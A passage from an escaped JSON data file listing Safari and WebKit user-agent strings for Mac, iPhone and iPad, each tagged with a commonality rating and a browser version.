AppleWebKit\\/601.5.17 (KHTML, like Gecko) Version\\/9.1 Safari\\/601.5.17\"},{\"commonality\":\"Very common\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/603.3.8\"},{\"commonality\":\"Very common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/601.6.17 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.6.17\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0.3 Safari\\/604.5.6\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14G60 Safari\\/602.1\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/602.2.14\"},{\"commonality\":\"Very common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B410 Safari\\/600.1.4\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13F69 Safari\\/601.1\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.38\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0.2 Safari\\/604.4.7\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/601.2.7 (KHTML, like Gecko) Version\\/9.0.1 Safari\\/601.2.7\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C92 Safari\\/602.1\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.50\"},{\"commonality\":\"Very common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/8.0.8 Safari\\/600.8.9\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E238 Safari\\/601.1\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13D15 Safari\\/601.1\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0.2 Safari\\/602.3.12\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/604.3.5\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/601.4.4 (KHTML, like Gecko) Version\\/9.0.3 Safari\\/601.4.4\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B100 Safari\\/602.1\"},{\"commonality\":\"Very common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/601.5.17 (KHTML, like Gecko) Version\\/9.1 Safari\\/601.5.17\"},{\"commonality\":\"Very common\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/7046A194A\"},{\"commonality\":\"Very common\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.59.10 (KHTML, like Gecko) Version\\/5.1.9 Safari\\/534.59.10\"},{\"commonality\":\"Very common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/9.1.3 Safari\\/537.86.7\"},{\"commonality\":\"Very common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/9.1.3 Safari\\/601.7.8\"},{\"commonality\":\"Very common\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.78.2 (KHTML, like Gecko) Version\\/6.1.6 Safari\\/537.78.2\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A456 Safari\\/602.1\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.50\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit\\/601.1.56 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.1.56\"},{\"commonality\":\"Very common\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit\\/534.50.2 (KHTML, like Gecko) Version\\/5.0.6 Safari\\/533.22.3\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14F89 Safari\\/602.1\"},{\"commonality\":\"Common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/601.7.7 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.7\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C153 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/601.2.7 (KHTML, like Gecko) Version\\/9.0.1 Safari\\/601.2.7\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13D15 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_5 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G36 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/602.2.14\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/604.3.5\"},{\"commonality\":\"Common\",\"version\":\"6.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/6.2.8 Safari\\/537.85.17\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13C75 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/9.0.2 Safari\\/601.3.9\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/602.2.14\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14G60 Safari\\/602.1\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G34 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/602.4.8 (KHTML, like Gecko) Version\\/10.0.3 Safari\\/602.4.8\"},{\"commonality\":\"Common\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/603.2.5 (KHTML, like Gecko) Version\\/10.1.1 Safari\\/603.2.5\"},{\"commonality\":\"Common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/601.6.17 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.6.17\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E238 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0.3 Safari\\/604.5.6\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D100 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.21 (KHTML, like Gecko) Mwendo\\/1.1.5 Safari\\/537.21\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0.2 Safari\\/604.4.7\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.50\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_1_2 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B202 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0_3 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A432 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C202 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G35 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E304 Safari\\/602.1\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit\\/600.7.12 (KHTML, like Gecko) Version\\/8.0.7 Safari\\/600.7.12\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/602.4.8 (KHTML, like Gecko) Version\\/10.0.3 Safari\\/602.4.8\"},{\"commonality\":\"Common\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.30\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B143 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/603.2.5 (KHTML, like Gecko) Version\\/10.1.1 Safari\\/603.2.5\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0.2 Safari\\/602.3.12\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/601.1.56 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.1.56\"},{\"commonality\":\"Common\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.30\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13C75 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/603.3.8\"},{\"commonality\":\"Common\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11D257 Safari\\/9537.53\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0.2 Safari\\/602.3.12\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12H321 Safari\\/600.1.4\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0_2 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A456 Safari\\/602.1\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D60 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C92 Safari\\/602.1\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12H321 Safari\\/600.1.4\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_1_1 like Mac OS X) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B100 Safari\\/602.1\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G34 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_1_3 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B329 Safari\\/8536.25\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A403 Safari\\/602.1\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.38\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A402 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A5376e Safari\\/8536.25\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12F69 Safari\\/600.1.4\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0.3 Safari\\/604.5.6\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14F89 Safari\\/602.1\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A452 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/600.5.17 (KHTML, like Gecko) Version\\/8.0.5 Safari\\/600.5.17\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.38\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12F70 Safari\\/600.1.4\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0_2 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A421 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12H143 Safari\\/600.1.4\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0.2 Safari\\/604.4.7\"},{\"commonality\":\"Common\",\"version\":\"11.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit\\/605.1.15 (KHTML, like Gecko) Version\\/11.1 Safari\\/605.1.15\"},{\"commonality\":\"Common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/9.1.3 Safari\\/601.7.8\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_4 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G35 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/600.1.25 (KHTML, like Gecko) Version\\/8.0 Safari\\/600.1.25\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12H143 Safari\\/600.1.4\"},{\"commonality\":\"Common\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Common\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11D257 Safari\\/9537.53\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_0_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A452 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B150 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/604.3.5\"},{\"commonality\":\"Common\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/7.1.8 Safari\\/537.85.17\"},{\"commonality\":\"Common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/601.7.7 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/537.86.7\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_2_1 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C153 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Smartsign Player) AppleWebKit\\/534.7 (KHTML, like Gecko) Safari\\/534.7\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3_1 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E304 Safari\\/602.1\"},{\"commonality\":\"Common\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A405 Safari\\/7534.48.3\"},{\"commonality\":\"Common\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit\\/536.26.17 (KHTML, like Gecko) Version\\/6.0.2 Safari\\/536.26.17\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/601.4.4 (KHTML, like Gecko) Version\\/9.0.3 Safari\\/537.86.4\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E233 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/601.5.17 (KHTML, like Gecko) Version\\/9.1 Safari\\/537.86.5\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/600.2.5 (KHTML, like Gecko) Version\\/8.0.2 Safari\\/600.2.5 (Applebot\\/0.1; +http:\\/\\/www.apple.com\\/go\\/applebot)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/600.6.3 (KHTML, like Gecko) Version\\/8.0.6 Safari\\/600.6.3\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/536.26.17 (KHTML, like Gecko) Version\\/6.0.2 Safari\\/536.26.17\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B93 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit\\/537.16 (KHTML, like Gecko) Version\\/8.0 Safari\\/537.16\"},{\"commonality\":\"Common\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11A465 